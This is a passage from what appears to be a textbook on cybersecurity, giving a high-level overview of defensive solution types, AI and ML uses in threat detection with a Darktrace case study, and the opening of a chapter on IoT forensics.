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such as network segmentation, intrusion detection, and firewalls, as well as proactive 
measures, such as patch management, vulnerability scanning, and security aware-
ness training. It’s also important to use security software and tools that can detect 
and mitigate zero-day exploits and to establish incident response plans in case of a 
successful attack.

These are but a handful of the numerous kinds of cyber threats that exist. It’s criti-
cal to be aware of these dangers and to take precautions to safeguard your computer, 
network, and private data.

3.3 � TYPES OF CYBERSECURITY SOLUTIONS

There are many types of cybersecurity solutions that organizations can use to protect 
their digital assets and prevent cyberattacks. Some of the most common types of 
cybersecurity solutions include the following:

3.3.1 �N etwork Security

Firewalls, intrusion prevention systems, and virtual private networks (VPNs) are 
examples of network security technologies that guard the network’s perimeter. The 
term “network security” describes the procedures and tools used to safeguard the 
reliability, availability, and confidentiality of computer networks, systems, and data. 
Network security solutions are designed to protect the perimeter of a network from 
external and internal threats, such as malware, unauthorized access, and data breaches. 
Some common network security technologies and measures include the following:

S.No. Technology Description

1. Firewalls The first line of defense in network security is the 
firewall, which regulates traffic flow between 
networks in accordance with specified security 
policies.

2. Intrusion Detection and Prevention 
Systems (IDPS)

IDPS solutions watch for unusual activity in network 
traffic and notify administrators when possible risks 
are discovered.

3. Virtual Private Networks (VPNs) Secure remote access is made possible via VPNs, 
which establish a private, encrypted connection 
between remote users and the company’s network.

4. Network Access Control (NAC) Only authorized users and devices are permitted 
to access the network, thanks to NAC solutions’ 
enforcement of access control policies.

5. Network Segmentation In order to lessen the effects of a breach or assault, 
networks are segmented into smaller, more isolated 
subnetworks.

6. Security Information and Event 
Management (SIEM)

SIEM tools gather and examine security information 
from a variety of sources to spot potential security 
incidents.

7. Penetration Testing In order to find weaknesses in the network and 
systems, penetration testing simulates a cyberattack.
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Network security is critical to the overall security posture of an organization, as it 
protects the network and systems that support the organization’s mission-critical 
functions. To maintain an effective network security posture, it is important to stay 
up to date with emerging threats, implement security best practices, and continually 
monitor and assess the network for potential vulnerabilities [10].

3.3.2 �E ndpoint Security

Endpoint security solutions protect particular devices, such as laptops, desktop com-
puters, and mobile devices. These solutions include antivirus software, host-based 
firewalls, and intrusion detection and prevention systems.

Endpoint security refers to the collection of tools and procedures used to defend 
against online attacks on specific devices, including laptops, desktop computers, and 
mobile devices. Endpoint security solutions are designed to secure the endpoints 
themselves, as well as the data and applications residing on them [11].

Some common endpoint security technologies and measures include the following:

3.3.2.1 � Antivirus and Anti-Malware
Antivirus and anti-malware solutions are designed to protect devices from known 
and unknown threats, including viruses, Trojans, and other forms of malware.

3.3.2.2 � Host-Based Firewall
Host-based firewalls monitor incoming and outgoing traffic on the device itself and 
can block traffic that violates predefined security policies.

3.3.2.3 � Intrusion Detection and Prevention Systems
IDPS tools can keep an eye out for suspicious activities as well as identify and stop 
unauthorized access to endpoints.

3.3.2.4 � Data Loss Prevention
Data loss prevention (DLP) systems help prevent sensitive data from being stolen or 
leaked by monitoring and controlling data while it is in use, data at rest, and data in 
motion.

3.3.2.5 � Encryption
Encryption solutions can protect data stored on the endpoint, as well as data in tran-
sit, by using encryption keys to scramble the data and making it unreadable without 
the key.

3.3.2.6 � Mobile Device Management (MDM)
MDM tools give businesses the ability to remotely wipe, encrypt data, and regulate 
access to employee-owned mobile devices.
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3.3.2.7 � Patch Management
Patch management tools guarantee that software updates and security patches are 
applied to devices on a regular basis, which can help stop known vulnerabilities from 
being exploited.

Endpoints can serve as a frequent entry point for cybercriminals, making endpoint 
protection essential to an organization’s overall security posture. Implementing secu-
rity best practices, such as the use of strong passwords and two-factor authentication, 
limiting administrative access, and offering security awareness training to staff mem-
bers are crucial for maintaining an effective endpoint security posture. In order to 
guard against a variety of threats and stay current with developing threats and vulner-
abilities, it is also crucial to deploy a combination of endpoint security solutions.

3.3.3 �I dentity and Access Management

Single sign-on (SSO), multi-factor authentication (MFA), and access control are all 
features of identity and access management (IAM) solutions that manage access to 
digital assets, including user authentication and authorization.

An organization’s systems and data access are managed and controlled using a set 
of technologies and procedures known as IAM. IAM solutions are made to make sure 
that only authorized users or systems may access a company’s resources, while also 
blocking unauthorized access and guarding against data breaches.

The following are some common IAM technologies and measures:

3.3.3.1 � Single Sign-On
SSO solutions make it simpler for users to access the resources they require while 
lowering the risk of password-related security issues by enabling users to log in once 
and access various systems and apps without having to log in again.

3.3.3.2 � Multi-Factor Authentication
MFA solutions require users to submit extra forms of identity in addition to their 
login and password, such as a fingerprint or a code produced by a mobile app, in 
order to access systems and data.

3.3.3.3 � Role-Based Access Control
Role-based access control (RBAC) solutions enable administrators to provide users 
access to only the resources they require to perform their jobs by allowing them to 
be assigned specific access privileges based on a user’s job role and responsibilities.

3.3.3.4 � Privileged Access Management (PAM)
PAM solutions manage and control access to privileged accounts, such as administra-
tive accounts, which have elevated access privileges and pose a higher security risk.

3.3.3.5 � Identity Governance and Administration
Identity governance and administration (IGA) solutions manage and control the life-
cycle of user identities, including provisioning and deprovisioning access, ensuring 
that access rights are appropriate and up to date.
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3.3.3.6 � Directory Services
Directory services provide a centralized repository of user identities and access privi-
leges, which can be used to enforce access control policies across multiple systems 
and applications.

IAM is a crucial part of a company’s security strategy since it guarantees that only 
authorized users or systems have access to resources, preventing unauthorized access 
and data breaches. Implementing security best practices, such as employing strong 
authentication systems, routinely evaluating access rights and privileges, and giving 
staff security awareness training, are crucial for maintaining an effective IAM posture.

3.3.4 � Data Security

Data security solutions protect data at rest and in transit, including encryption, 
tokenization, and DLP.

The protection of data from unauthorized access, use, disclosure, disturbance, 
alteration, or destruction is referred to as data security [12]. One of an organization’s 
most important assets is its data, and data breaches can cause serious monetary, legal, 
and reputational harm [13].

The following are some common data security measures:

3.3.4.1 � Encryption
Data is encrypted when it is changed into an unintelligible format that can only be 
unlocked using a secret key. Both data at rest and in transit can be protected by 
encryption [14].

3.3.4.2 � Access Control
The practice of managing and regulating who has access to data and what they may 
do with it is known as access control. Access control measures can include authenti-
cation, authorization, and auditing [15].

3.3.4.3 � Backup and Recovery
Data backup and recovery solutions can help protect against data loss due to hard-
ware failure, human error, or cyberattacks [16].

3.3.4.4 � Data Loss Prevention
DLP tools keep an eye on and stop unauthorized access to sensitive data, such as 
customer or intellectual property information [17].

3.3.4.5 � Data Classification
The practice of classifying data involves dividing it up into several categories based 
on how sensitive and significant it is, and then applying the appropriate security con-
trols in accordance with the grouping.

3.3.4.6 � Security Awareness and Training
Data breaches can be decreased by educating staff members about recommended prac-
tices for data security, such as using strong passwords and avoiding phishing scams.
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Technical solutions, rules, and procedures, as well as staff awareness and training, 
are all necessary components of an effective multi-layered approach to data security. 
To maintain an effective data security posture, it’s important to regularly assess and 
update security controls, monitor for emerging threats, and conduct security aware-
ness training for employees.

3.3.5 �A pplication Security

Application security solutions protect web and mobile applications, including vul-
nerability scanning, penetration testing, and WAF [18].

Application security is the process of protecting software programs from dangers 
and flaws that could be used by attackers. Applications can include web applications, 
mobile apps, and desktop applications, among others.

The following are some common application security measures:

3.3.5.1 � Secure Coding Practices
Secure coding practices include writing code with security in mind and avoiding 
common bugs like buffer overflows, SQL injection, and XSS.

3.3.5.2 � Penetration Testing
In order to uncover weaknesses and faults that attackers potentially exploit, penetra-
tion testing simulates an attack on an application.

3.3.5.3 � Code Reviews
Code reviews entail examining an application’s source code to find any potential 
flaws or opportunities for development.

3.3.5.4 � Security Testing
Code reviews involve looking at an application’s source code to look for any poten-
tial issues or areas that could use improvement.

3.3.5.5 � Access Control
Access control measures should be implemented to manage and control access to the 
application and its data.

3.3.5.6 � Authentication and Authorization
To ensure that only authorized users may access the application and its data, proper 
authentication and authorization methods should be put in place.

3.3.5.7 � Encryption
Sensitive data should be encrypted in both transport and at rest to prevent unau-
thorized access. A comprehensive strategy that incorporates both technical and non-
technical safeguards is necessary for effective application security. To maintain an 
effective application security posture, it is important to regularly assess and update 
security controls, monitor for emerging threats, and educate developers and users on 
secure coding practices and application security best practices.
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3.3.6 �C loud Security

Cloud security solutions, including data encryption, access control, and security 
monitoring, protect cloud-based infrastructure and applications.

A group of standards, rules, and tools collectively referred to as “cloud security” 
were developed to prevent unauthorized access to, data theft from, or loss from 
cloud-based applications, systems, and data. As businesses continue to use cloud 
computing services to store and process sensitive data, cloud security is crucial [19].

The following are some common cloud security measures:

3.3.6.1 � Identity and Access Management
IAM involves managing access to cloud resources and data by authenticating and 
authorizing users, groups, and applications.

3.3.6.2 � Encryption
In the cloud, sensitive data can be protected using encryption both in transit and at 
rest.

3.3.6.3 � Network Security
Network security techniques including VPNs, firewalls, and intrusion detection and 
prevention systems can help protect cloud resources and data from unauthorized 
access.

3.3.6.4 � Data Loss Prevention
DLP tools keep an eye on and stop unauthorized access to sensitive data, such as 
customer or intellectual property information.

3.3.6.5 � Compliance
Cloud security must be developed to adhere to industry and legal compliance stan-
dards including Health Insurance Portability and Accountability Act (HIPAA), 
Payment Card Industry Data Security Standard (PCI DSS), and GDPR (General Data 
Protection Regulation). Creating cloud security solutions that comply with industry 
and legal requirements, like GDPR, PCI DSS, and HIPAA, is crucial to safeguarding 
private information, upholding customer confidence, and avoiding fines. Through the 
implementation of strong security controls, enterprises can take advantage of cloud 
computing’s advantages while reducing related risks.

3.3.6.6 � Cloud Provider Security
Cloud providers should be vetted for security controls and best practices, including 
physical security, access controls, and incident response procedures.

The shared responsibility paradigm of cloud security, in which cloud providers 
are accountable for the security of the cloud infrastructure and customers are account-
able for the security of applications, data, and access to cloud resources, must be 
understood by companies. A multi-layered strategy is necessary for effective cloud 
security, including technical and administrative controls, regular security assess-
ments, and employee awareness and training.
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3.3.7 �I ncident Response and Management

Organizations can recognize, analyze, and respond to cyberattacks with the use of 
incident response and management solutions like security orchestration, automation, 
and response (SOAR), intrusion detection and response (IDR), and SIEM.

Incident response and management is the set of processes and procedures used by 
organizations to identify, contain, and recover from security incidents. Cyberattacks, 
data breaches, and other security-related incidents are examples of security inci-
dents [20].

Effective incident response and management requires a structured and coordi-
nated approach that involves multiple stakeholders, including IT, security, legal, and 
public relations teams. The following are some common incident response and man-
agement activities:

3.3.7.1 � Planning and Preparation
Incident response plans and procedures that specify roles and duties should include 
the steps to be taken in the event of a security concern.

3.3.7.2 � Identification
Security incidents can be identified through various means, including automated 
alerts, user reports, and system logs. Early identification is crucial in minimizing the 
impact of an incident.

3.3.7.3 � Containment
The next step after identifying an incident is to contain it to limit further harm or loss. 
This can entail cutting off access to specific resources or isolating impacted systems.

3.3.7.4 � Investigation and Analysis
To ascertain the incident’s breadth, cause, and effects, incident responders must 
undertake a thorough investigation. Interviews with the persons involved, forensic 
investigation, and system log inspection may all be necessary.

3.3.7.5 � Eradication and Recovery
The following step is to eliminate the incident’s cause and return systems and data to 
a secure state. In order to do this, systems may need to be patched, backups restored, 
or new security measures put in place.

3.3.7.6 � Post-Incident Activities
In order to identify areas for improvement and make necessary updates to incident 
response plans and processes, organizations should perform a post-event review.

Organizations may lessen the effects of security incidents, lower the likelihood 
of subsequent incidents, and preserve stakeholder trust by using effective incident 
response and management. To maintain an effective incident response posture, it is 
important to develop incident response plans and procedures in advance, conduct 
regular training and testing, and continually assess and improve incident response 
capabilities.
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These are just a few examples of the types of cybersecurity solutions available. 
Organizations should choose the solutions that best fit their needs, budget, and risk 
profile, and should continually evaluate and update their security posture to stay 
ahead of emerging threats.

3.4 � POTENTIAL APPLICATIONS OF AI AND ML IN 
CYBERSECURITY

To identify and stop security risks, ML and AI are being employed more and more 
in cybersecurity. Nevertheless, there are possible drawbacks and risks to adopting 
AI and ML in cybersecurity, just like with any other technology [21]. For instance, 
automated response systems may be used ethically, while AI and ML algorithms may 
be exposed to adversarial attacks. It’s important for organizations to understand these 
risks and limitations and use AI and ML responsibly and ethically [22]. The follow-
ing are some potential applications of AI and ML in cybersecurity:

3.4.1 �A nomaly Detection

A network or system’s anomalous patterns of behavior that can point to a cyberattack 
can be found using ML techniques.

3.4.2 �T hreat Intelligence

To identify potential dangers and anticipate upcoming assaults, massive volumes of 
security data can be analyzed using AI and ML.

3.4.3 �U ser Behavior Analytics

Users’ behavior can be examined using AI and ML to spot insider dangers, such as 
staff members with unauthorized access or strange patterns of behavior.

3.4.4 � Malware Detection

ML algorithms can be trained to recognize the characteristics of known malware and 
detect new variants.

3.4.5 �V ulnerability Management

AI and ML can be used to scan networks and systems for vulnerabilities and priori-
tize remediation based on the level of risk.

3.4.6 � Predictive Analytics

Security data analysis using AI and ML can be utilized to spot trends and patterns 
that can point to an impending assault.
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3.4.7 �F raud Detection

AI and ML can be used to analyze financial transactions to identify potential fraud 
and prevent losses.

3.4.8 �I ncident Response

Automating incident response procedures such as seeing and containing threats and 
looking through data to find an incident’s core cause is possible with the help of AI 
and ML.

Overall, AI and ML have the potential to enhance cybersecurity by automating 
procedures, recognizing, and stopping attacks, and allowing security personnel to 
react to security crises more rapidly and effectively. To avoid unforeseen repercus-
sions or misuse, it is crucial to make sure that these technologies are used responsi-
bly, ethically, and under proper control and supervision.

3.5 � POTENTIAL REQUIREMENTS OF AI AND ML IN 
CYBERSECURITY

Although AI and ML have the potential to greatly enhance cybersecurity, their suc-
cessful implementation depends on carefully taking into account a number of needs 
[23]. Here are some potential requirements of AI and ML in cybersecurity:

3.5.1 � Data Quality

Large amounts of high-quality data are necessary to train and improve the perfor-
mance of AI and ML models. The success of AI and ML in cybersecurity depends on 
the accuracy and completeness of the data.

3.5.2 �E xpertise

The implementation of AI and ML in cybersecurity requires specialized expertise in 
both the cybersecurity domain and the AI/ML technology itself. The development, 
implementation, and maintenance of AI and ML models require expertise in data 
science, computer science, and cybersecurity.

3.5.3 �C omputing Resources

The successful implementation of AI and ML in cybersecurity also requires signifi-
cant computing resources, such as high-performance computing, to train, test, and 
run models.

3.5.4 �E xplainability

Understanding how decisions are produced might be challenging because AI and ML 
models lack transparency and comprehensibility. Therefore, ensuring that AI and 
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ML models are transparent, explainable, and trustworthy is critical to gaining trust 
in these technologies.

3.5.5 �A dversarial Robustness

Adversarial attacks can exploit weaknesses in AI and ML models, causing them to 
misclassify or malfunction. Therefore, ensuring the robustness and security of AI and 
ML models is critical to preventing cyberattacks.

3.5.6 �E thical Considerations

The application of AI and ML to cybersecurity presents issues of justice, responsibil-
ity, and privacy from an ethical standpoint. To build trust in emerging technologies, 
it is essential to make sure that AI and ML models are created and deployed in an 
ethical and responsible manner.

Overall, a comprehensive strategy that takes into account these objectives as 
well as other pertinent aspects, such as the particular requirements and features of 
different organizations, is needed for the successful adoption of AI and ML in 
cybersecurity [21].

3.6 � BENEFITS OF USING AI AND ML IN CYBERSECURITY

The objective of AI is to imitate human intelligence. There is a lot of promise for 
cybersecurity. If correctly harnessed, AI systems may be taught to generate alerts 
for threats, identify novel malware strains, and protect crucial data for organizations. 
AI combines deep learning and ML to aggregate patterns found on the network and 
identify deviations or security incidents before taking further action. The application 
of these patterns can improve security in the future. Similar potential threats can be 
located and eliminated before they have a chance to cause any harm. There is a lot of 
internal and external communication, as well as data exchange, in a firm. This infor-
mation needs to be protected from malicious software and people. Cybersecurity 
professionals cannot, however, constantly watch every communication for potential 
threats. AI is your best bet in this case since it can detect any threat buried in this 
communication. Daily hazards to a typical firm are numerous. It must be able to 
identify, find, and stop them in order to be secure. Vulnerabilities can be managed 
with the use of AI research that investigates and assesses current security practices. 
A human might or might not be able to identify each risk that an organization faces. 
Hackers are able to carry out a variety of attacks with various objectives. These 
unnamed threats could do the network considerable damage. When it comes to spot-
ting threats and averting their destruction, AI is more effective. When AI and ML are 
coupled, it is contributing more to cybersecurity. According to ZDNet, new security 
systems analyze enormous quantities of data from millions of cyber incidents to spot 
threats like phishing schemes and new malware variants. In an effort to evade these 
detection measures, some hackers modify their malware code to hide its dangerous 
nature. Although it is extremely difficult to identify every variant of malware, AI 
and ML can be useful. Particularly for anti-malware security systems, ML makes a 
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fantastic component because it can utilize data from any type of malware that has 
been previously detected [24].

Because of AI’s unique qualities, including flexibility, adaptability, and the capac-
ity to swiftly learn new and challenging problems, AI systems have been used in 
many fields of study. Several AI solutions have been successfully deployed to address 
these pervasive problems in PC security. As digital attackers exploit structural flaws 
for financial gain, cybersecurity is becoming increasingly impossible to ignore.

The cyber-physical system must make decisions and carry out tasks independently 
in Industry 4.0. AI-based technology is necessary to carry this out. Massive real-time 
data are allegedly gathered through Industrial Control System (ICS) and should be 
properly examined. Deep learning is used in research to diagnose device faults. AI 
can analyze a lot of data, and it can also handle complicated data like sentences, 
images, and other types of text. Since it is anticipated that AI will be employed in 
ICS, we assess the security risks associated with its usage in ICS control. ML is 
employed in our ICS testbed to identify psychical state irregularities.

3.7 � CHALLENGES, LIMITATIONS, AND POSSIBLE FUTURE 
DIRECTIONS

Challenges
The deployment of AI and ML-enabled cybersecurity tools and techniques is 
not without challenges. These include the lack of skilled personnel to develop 
and maintain these systems, compatibility issues with existing systems, the need 
for large amounts of computing power to operate effectively, and the potential 
for cyberattackers to target and compromise these systems. Additionally, the 
dynamic nature of cyber threats means that AI and ML algorithms must be 
continuously updated and refined to keep pace with emerging threats [25].

The impact of AI on society and the economy has been astounding. Around 
US$15.7 trillion more will have been added to the global economy by 2030 as 
a result of AI. To put that into perspective, that is nearly similar to the current 
economic output of China and India. ML and deep learning are the corner-
stones of contemporary AI, and in order for them to perform well, they both 
require a growing number of cores and Graphics Processing Units (GPUs). 
Deep learning frameworks can be applied to a wide range of tasks, including 
tracking celestial bodies, providing healthcare, and monitoring asteroids. They 
require a supercomputer’s processing power, and yes, supercomputers are 
pricey. Although the availability of cloud computing and parallel processing 
systems makes it easier for developers to work on AI systems, these advantages 
are not free. Not everyone can afford that with the influx of massive volumes 
of data and the rapidly increasing complexity of complex algorithms. One of 
the biggest issues that worries AI is the unknowability of how deep learning 
models predict the output. It can be difficult for the typical person to under-
stand how a certain set of inputs might offer a solution to a variety of problems.

Limitations
Tools for cybersecurity that use AI and ML have a number of drawbacks. 
Adversarial attacks have the potential to go undetected, and bad data can 
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produce erroneous results. Additionally, AI and ML algorithms may be biased, 
difficult to understand, and extremely sophisticated, needing a substantial 
amount of resources to deploy and maintain. A false sense of security and 
complacency might result from an overreliance on these technologies.

Humanity has benefited much from AI, which has allowed enterprises to 
operate more profitably, efficiently, and cost-effectively. But it’s not flawless.

The first constraint of AI is that it can only be as smart or successful as the 
quality of the data you provide it, the second is algorithmic bias, and the third 
is that it is a “black box.”

The only way AI programs can learn is via the data humans provide. Your 
results, however, can be biased or inaccurate if the program is provided with 
inaccurate or unreliable data. The quality of the data you give AI determines its 
intelligence and efficacy. Algorithms are a set of instructions that a computer 
uses to carry out specific tasks. There is a chance that a human programmer 
wrote these rules. But if algorithms are incorrect or biased, we cannot rely 
on them since we would only get bad results. Biases mainly arise from the 
algorithm’s partial design by programmers who favor a certain desired or self-
serving criterion. It is commonly recognized that AI has the capacity to learn 
from enormous volumes of data, uncover underlying patterns, and form data-
driven conclusions. Despite regularly and quickly producing accurate results, 
the AI system cannot define or explain how it came to this conclusion, which 
is a serious flaw.

Future Directions
AI and ML are rapidly advancing and continue to be at the forefront of cyber-
security innovation. The future of AI- and ML-enabled cybersecurity tools 
and techniques is likely to involve increased explainability, more autonomous 
response, the use of deep learning and blockchain technology, and a focus on 
cloud security [26]. These technologies have the ability to greatly improve 
cybersecurity and assist organizations in staying ahead of new threats as they 
develop and mature. The Fourth Industrial Revolution has begun, and AI is 
being applied in every significant sector, from banking and insurance to health-
care, transportation, and education. Society is changing “ten times faster and 
at 300 times the scale or at nearly 3,000 times the effect” than it did during the 
Industrial Revolution, according to the McKinsey Global Institute (pdf). The 
potential of AI extends beyond its use in business. It demonstrates significant 
promise for assisting in the resolution of some of the most difficult develop-
ment issues that United Nations Development Programme (UNDP) workers 
around the world deal with on a daily basis.

3.8 � EXAMPLES OF PRACTICAL USAGE OF AI AND ML IN 
CYBERSECURITY

AI and ML are revolutionizing the field of cybersecurity by providing advanced 
solutions to deal with the growing threats and attacks in a constantly changing 
environment [27]. Here are some detailed examples of how AI and ML are used in 
cybersecurity:
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3.8.1 �T hreat Detection

AI and ML systems can learn to spot data trends that point to possible hazards. To find 
anomalies and malicious behavior, they can analyze a lot of data from many sources, 
including log files, network traffic, and system events. For instance, by examining 
emails and looking for patterns in the sender’s email address, the email’s content, and 
the links it contains, ML algorithms can be used to spot phishing assaults.

3.8.2 � Malware Detection

AI and ML are used to detect and classify malware. This involves training a model 
using a large dataset of known malware and benign software. The trained model can 
then analyze the characteristics of a new program to determine whether it is mali-
cious or not. This is done by examining the code, the behavior of the program, and 
other factors. For example, deep learning models can be trained to detect malware by 
analyzing the features of the executable file, such as the code sections, the import and 
export functions, and the metadata.

3.8.3 �N etwork Security

Network traffic is monitored for irregularities that can point to a security compromise 
using AI and ML. In order to do this, a model must first be trained to recognize typi-
cal network behavior patterns before it can be used to spot abnormal behavior. By 
examining log files and network traffic, for instance, AI and ML algorithms can be 
used to find attempts at network infiltration. They can also be used to identify net-
work vulnerabilities by analyzing configuration settings and system logs [28].

3.8.4 �U ser Behavior Analysis

AI and ML algorithms can learn to recognize patterns in user behavior that may indi-
cate a security risk. This involves monitoring user activity, such as login attempts, 
file access, and network activity, and using ML algorithms to detect anomalies [29]. 
For example, if a user typically accesses a certain set of files at a certain time but 
suddenly starts accessing a different set of files at an unusual time, this may indicate 
a compromised account.

3.8.5 �F raud Detection

AI and ML are used to detect fraudulent transactions and activities. This involves 
training a model to recognize patterns in transaction data, such as the frequency of 
transactions, the amount of money transferred, and the location of the transactions. 
For instance, by examining transaction data and spotting trends that point to fraudu-
lent conduct, ML algorithms can be used to find credit card fraud [30].

Overall, AI and ML are playing an increasingly important role in cybersecurity. 
By providing advanced threat detection, malware analysis, network security, user 
behavior analysis, and fraud detection, AI and ML are helping to secure our digital 
world [31].
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3.9 � CASE STUDIES

With the increasing frequency and sophistication of cyberattacks, the need for 
advanced cybersecurity tools that leverage AI and ML is more pressing than ever. 
AI- and ML-enabled cybersecurity tools can help detect and prevent cyber threats in 
real time, allowing organizations to safeguard their sensitive information and assets. 
In this case study, we’ll talk about one such tool, the Darktrace Enterprise Immune 
System, and look at how it makes use of AI and ML to identify and address cyber 
threats [26].

Overview of the Darktrace Enterprise Immune System: A cybersecurity solu-
tion called the Darktrace Enterprise Immune System employs AI and ML to quickly 
identify and respond to online attacks. It employs unsupervised ML techniques to 
analyze network data in order to find unusual behavior that might be a sign of a 
cyberattack. Once a threat is detected, the tool can take action to contain and remedi-
ate the threat, preventing it from causing any further damage.

How It Works: The Darktrace Enterprise Immune System works by creating a 
model of the normal behavior of a network using unsupervised ML algorithms. 
This model is updated in real time as the tool ingests new data and adapts to changes 
in the network. The tool analyzes traffic at the network, device, and user levels, 
using AI and ML algorithms to identify anomalous behavior that may indicate a 
cyberattack [32].

The tool may flag this as suspicious behavior and further investigate if a user sud-
denly starts accessing a large amount of data that they have never before accessed, for 
instance. Likewise, if a device suddenly starts communicating with an external server 
that it has never before communicated with, the tool may identify this as a potential 
threat and take action to contain it.

Once a threat is identified, the Darktrace Enterprise Immune System can take a 
variety of actions to contain and remediate it. This may include isolating infected 
devices from the network, blocking suspicious traffic, and alerting security personnel 
to investigate further.

Benefits: Comparing the Darktrace Enterprise Immune System to conven-
tional cybersecurity technologies reveals a number of advantages. First, it 
enables organizations to take action before any harm is done by detecting 
and responding to cyberattacks in real time. Second, it can recognize previ-
ously unidentified threats and adjust to network changes. Finally, it has the 
ability to automate responses to attacks, lightening the load on security staff 
and lowering the possibility of human error.

Conclusion: When it comes to enhancing cybersecurity, the Darktrace 
Enterprise Immune System is a potent illustration of how AI and ML may 
be applied. The program can identify and respond to cyber threats before 
they cause any harm by analyzing network data in real time and using unsu-
pervised ML techniques to spot aberrant behavior. Tools like the Darktrace 
Enterprise Immune System will be more crucial for organizations wanting 
to safeguard their sensitive data and assets as the frequency and sophistica-
tion of assaults escalate.
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3.10 � CONCLUSION AND RECOMMENDATION

In conclusion, ML and AI are significantly improving the efficacy of cybersecurity 
technologies and methods. Organizations can detect and stop threats in real time with 
the use of AI and ML, which can analyze vast datasets and spot trends and anomalies 
that may be signs of a cyberattack [33]. These technologies can also adapt to chang-
ing threats and improve over time through ongoing learning.

However, while AI and ML can offer significant benefits in terms of detecting and 
preventing cyber threats, they are not without their limitations. Organizations should 
carefully evaluate the efficacy and accuracy of the technologies they employ and 
make sure that their use is consistent with their overall cybersecurity strategy.

Organizations should also invest in training and upskilling their security person-
nel to ensure that they have the knowledge and expertise to effectively use AI- and 
ML-enabled cybersecurity tools. By doing this, the company can make the most of 
these technologies and increase its ability to effectively defend against cyber threats.

In order to be able to respond to shifting threats and make use of new technologies 
as they become available, it is crucial for organizations to regularly examine and 
update their cybersecurity strategy.

In summary, AI- and ML-enabled cybersecurity tools offer significant benefits in 
terms of detecting and preventing cyber threats. To remain ahead of new threats, 
organizations must pay close attention to the precision and efficacy of the tools they 
employ, engage in employee training, and routinely review and update their cyberse-
curity strategy.
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4.1 � INTRODUCTION

IoT forensics is a method for investigating shady IoT device activity. In order to 
determine if hackers used web-based tools to commit cybercrimes or to look into the 
origin of a security problem, organisations or law enforcement organisations may 
employ specialists to gather evidence. Sometimes a breach incident is caused by evil 
intent. When an employee reveals personal information after becoming a victim of a 
hacking scheme, for example, it may result from the human error in the organization. 
Regardless of whether the employee didn’t mean to spy on people or hurt the com-
pany, unintended information release can have equally severe effects. These phish-
ing attempts cause approximately nine out of every ten data breaches. Investigations 
using IoT forensics go beyond online crimes. Even small-scale offences like break-
ins may leave data on multiple devices behind to help with an investigation. IoT and 
digital forensics are distinct from one another, even though the investigative proce-
dure will differ based on whether the gadget in question is intelligent or not.

We can use cyber forensics to identify a breach’s specific goal, scope, and much 
more. IoT-specific cyber threats include the following:

	 1.	Ransomware, a type of malware
	 2.	Botnets and distributed denial-of-service (DDoS) assault
	 3.	Data forgery

Simply said, everything connected to the internet falls under the umbrella term 
“Internet of Things.” Accordingly, a monitoring chip in a cow’s ears is just as signifi-
cant an integral component of the IoT as any connected car, computer, or smartwatch.

An instance of an electronic gadget that collects and disseminates data is a fitness 
device that uses sensors to capture and send heart rate actions and step counts. 
However, this data is often not stored on the gadget. It is sent to a computer system—
also known as a data repository—that is equipped with the processing power and 
storage area required for handling the data the device in question has acquired.

IoT Forensics
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4.2 � IoT AND ITS RELATED DEVICES

Internet of Things is referred to as IoT [1]. It defines a network of actual objects that 
are linked and capable of exchanging data owing to connection, electronics, software, 
and sensors, including equipment, vehicles, home appliances, and other items. IoT, 
in other words, enables network to connect to the web and interact with one another, 
gathering and exchanging data, enabling enhanced automation and efficiency in a 
range of fields and applications. Wearable gadgets use IoT to monitor and communi-
cate data on the wearer’s well-being and activity levels, and smart homes use IoT to 
remotely manage illumination, temperature, and security systems. In Figure 4.1 we 
can see IoT-related devices.

The IoT is a network of physical objects such as furniture, cars, household appli-
ances, and other items that are equipped with hardware, applications, sensors, and 
connectivity to allow for communication and data exchange. Some examples of IoT-
related devices are as follows:

	 1.	Smart Home Devices: These are gadgets like smart locks, lighting systems, 
and smart thermostats that can be operated remotely by a cell phone appli-
cation or voice assistants like Google Assistant or Amazon Alexa.

	 2.	Wearable Devices: Wearable devices such as fitness trackers, smartwatches, 
and smart glasses collect data about their users and can be connected to 
other devices, such as smartphones, to exchange data and information.

	 3.	Smart Health Devices: These are internet-connected medical gadgets that 
can track and monitor several aspects of health, including blood pressure, 
sugar levels, and heart rate.

FIGURE 4.1  IoT-related devices.
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	 4.	Industrial IoT Devices: These devices are used in industrial settings and 
can monitor and control industrial processes, such as production lines, 
energy usage, and asset tracking.

	 5.	Connected Cars: These are cars that can gather and share information with 
other gadgets such as mobile phones and traffic control systems and have 
internet access integrated right into them.

	 6.	Smart City Devices: These devices are used to manage and monitor vari-
ous aspects of urban infrastructure such as traffic management, waste man-
agement, and public safety.

Overall, IoT devices are designed to make our lives more convenient, efficient, and 
connected by allowing us to interact with the physical world in new ways.

4.3 � IMPORTANCE OF IoT FORENSICS

IoT forensics involves the preservation, gathering, analysis, and presentation of elec-
tronic information from IoT systems as proof in regulatory or legal processes [2]. IoT 
forensics are critical because there is a growing risk that connected devices will be 
used fraudulently or for other wrongdoings as the number of linked devices increases.

Some of the reasons why IoT forensics is important are as follows:

	 1.	Evidence Preservation: IoT devices generate vast amounts of data, and it 
is important to preserve this data in a way that is forensically sound so that 
it can be utilised as evidence in court cases.

	 2.	Cybercrime Investigations: IoT devices are increasingly being used in 
cybercrime, such as hacking, data breaches, and identity theft. IoT forensics 
is critical in investigating these types of crimes and collecting evidence to 
be used in legal proceedings.

	 3.	Privacy Concerns: IoT devices often collect and store sensitive personal 
information, making it important to have a process in place for preserving 
and analysing this data in the event of an investigation.

	 4.	Regulatory Compliance: Many industries are subject to regulations that 
require them to retain and produce electronic records for inspection. IoT 
forensics helps organisations comply with these regulations by providing a 
process for collecting, analysing, and presenting electronic data.

	 5.	Corporate Investigations: IoT forensics is also important in corporate 
investigations, where companies may need to investigate potential miscon-
duct by employees, such as misuse of company resources or theft of confi-
dential information [3].

Overall, IoT forensics is crucial field that ensures the reliability of the evidence and 
integrity of electronic information from IoT devices with a way to respond to inves-
tigations and comply with regulations (see Figure 4.2).
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4.4 � SCOPE OF IoT FORENSICS

The term “IoT forensics” refers to the wide range of duties and areas of specialisation 
involved in obtaining, analysing, and organising electronic data from IoT devices as 
evidence in legal or regulatory procedures. The field of IoT forensics can be broadly 
defined as follows:

	 1.	Data Preservation: The initial phase in IoT forensics involves verifying 
the validity and integrity of the data recorded on the IoT device in order to 
preserve it as evidence. For forensic purposes, information obtained from 
the mobile device may need to be carefully and correctly copied, removed, 
and stored in a secure location.

	 2.	Data Collection: The next step, after proper data retention, entails gath-
ering information from the device. It can be necessary to get data from 
the device’s internal memory, obtain data saved on the internet, or look at 
network traffic in order to gather information that has been communicated 
from the device.

